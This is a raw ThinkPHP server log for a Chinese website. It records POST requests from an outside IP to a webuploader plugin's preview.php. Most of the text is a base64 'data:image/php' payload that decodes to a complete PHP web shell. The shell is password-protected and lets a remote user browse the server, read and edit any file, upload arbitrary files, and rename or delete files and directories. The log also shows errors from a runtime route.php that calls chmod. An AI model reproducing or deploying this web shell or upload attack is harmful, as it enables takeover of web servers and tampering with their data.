ZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'user' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:34+08:00 ] 119.42.146.234 POST 51tianwei.com/style/admin/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002696s] [吞吐率:370.91req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'style', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcb